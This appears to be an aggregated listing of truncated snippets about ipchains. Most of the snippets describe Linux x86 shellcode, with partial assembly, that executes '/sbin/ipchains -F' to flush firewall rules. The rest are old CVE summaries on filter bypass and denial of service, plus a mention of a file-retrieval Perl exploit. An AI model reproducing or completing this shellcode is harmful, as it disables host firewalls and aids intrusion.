Linux/x86 - execve(/sbin/ipchains -F) Shellcode (70 bytes)

Author: zillion Email: email protected Homepage: http://www.safemode.org Linux x86 shell code that does an execve of /sbin/ipchains -F File name: flush-ipchains-shellcode.c / This shellcode will do /sbin/ipchains -F Written by email protected / char shellcode=...

Webfwlog - Firewall Log Analyzer

Webfwlog is a flexible web-based firewall log analyzer and reporting tool. It supports standard system logs for linux, FreeBSD, OpenBSD, NetBSD, Solaris, Irix, OS X, etc. as well as Windows XP®. Supported log file formats are netfilter, ipfilter, ipfw, ipchains and Windows XP®. Webfwlog also...

Linux/x86 - ipchains -F - 40 bytes

No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...

40 byte shellcode to flush ipchains for Linux x86

No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...

Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) + exit() Shellcode (64 bytes)

Linux/x86 - Flush IPChains Rules /sbin/ipchains -F + exit Shellcode 64 bytes. Shellcode exploit for Linuxx86 platform / The shellcode flushs the ipchains table by running /sbin/ipchains -F then exit greetz to zilion: man, my code is shorter! size = 64 bytes OS = Linux i386 written by...

Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (58 bytes)

Linux/x86 - Flush IPChains Rules /sbin/ipchains -F Shellcode 58 bytes. Shellcode exploit for Linuxx86 platform / The shellcode flushs the ipchains table by running /sbin/ipchains -F no exit greetz to zilion: man, my code is shorter! size = 58 bytes OS = Linux i386 written by /rootteam/dev0id...

Linux/x86 - execve(/sbin/ipchains -F) Shellcode (70 bytes)

Linux/x86 - execve/sbin/ipchains -F Shellcode 70 bytes. Shellcode exploit for Linuxx86 platform Author: zillion Email: [email protected] Homepage: http://www.safemode.org Linux x86 shell code that does an execve of /sbin/ipchains -F File name: flush-ipchains-shellcode.c / This shellcode will d...

linux/x86 /sbin/ipchains -F 41 bytes

No description provided by source. / By Kris Katterjohn 11/15/2006 41 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax xor edx, edx push edx push word 0x462d mov ecx, esp push edx pu...

linux/x86 /sbin/ipchains -F 40 bytes

Exploit for linux/x86 platform in category shellcode ==================================== linux/x86 /sbin/ipchains -F 40 bytes ==================================== / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ;...

linux/x86 - /sbin/ipchains -F 40 bytes

linux/x86 /sbin/ipchains -F 40 bytes. Shellcode exploit for linx86 platform / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word...

linux/x86 /sbin/ipchains -F 40 bytes

No description provided by source. / By Kris Katterjohn 11/18/2006 40 byte shellcode to flush ipchains for Linux x86 section .text global start start: ; execve"/sbin/ipchains", "/sbin/ipchains", "-F", NULL , NULL push byte 11 pop eax cdq push edx push word 0x462d mov ecx, esp push edx push word...

linux/x86 ipchains -F 49 bytes

No description provided by source. include stdio.h include string.h / asm" sub $0x4,%esp Con esto conseguimos que la shellcode nunca se popl %esp sobreescriba... gracias RaiSe : xorl %edx,%edx %edx a cero pushl %edx y ponemos los zeros del final del string en memoria pushw $0x462d tenemos -F0000...

linux/x86 ipchains -F 49 bytes

Exploit for linux/x86 platform in category shellcode ============================== linux/x86 ipchains -F 49 bytes ============================== include include / asm" sub $0x4,%esp Con esto conseguimos que la shellcode nunca se popl %esp sobreescriba... gracias RaiSe : xorl %edx,%edx %edx a cer...

linux/x86 ipchains -F 49 bytes

linux/x86 ipchains -F 49 bytes. Shellcode exploit for linx86 platform include include / asm" sub $0x4,%esp Con esto conseguimos que la shellcode nunca se popl %esp sobreescriba... gracias RaiSe : xorl %edx,%edx %edx a cero pushl %edx y ponemos los zeros del final del string en memoria pushw $0x46...

int.exp.txt

First off, great site ! I appreciate all the work you do. I just wanted to send in a quick and dirty perl script to retrieve any file from a server running RedHat's Interchange commerce system. The temp fix for this can be to use ipchains/iptables to block access to the port from outside the...

CVE-1999-1339

CVE-1999-1339 affects Linux 2.2.10 and earlier (with ipchains) and FreeBSD 3.2 (with ipfw). The issue is triggered by a crafted ping -R (record route) packet, causing a remote attacker to induce a kernel panic and denial of service. The vulnerability arises from how NAT is handled when enabled, a...

CVE-1999-1018

CVE-1999-1018 concerns Linux kernels 2.2.10 and earlier, where the IP fragmentation reassembly step is performed after some header checks. The issue allows a remote attacker to bypass IP filtering rules by sending multiple fragments with 0 offsets, undermining filters that rely on header informat...

CVE-1999-1018

IPChains in Linux kernels 2.2.10 and earlier does not reassemble IP fragments before checking the header information, which allows a remote attacker to bypass the filtering rules using several fragments with 0 offsets...

Проблемы ядра Linux

Возможно обойти правила фильтрации ipchains, есть несколько возможностей DoS-атак...

Ipchains!

Ipchains buffer overflow with debian 2.2.10 Kernel. -------------------------------------------------- there is a buffer overflow hang in linux debian distributin kernel 2.2.10 with ipchains 1.3.8, 27-Oct-1998. here is the explanation. We tested with a linux running with debian above version of...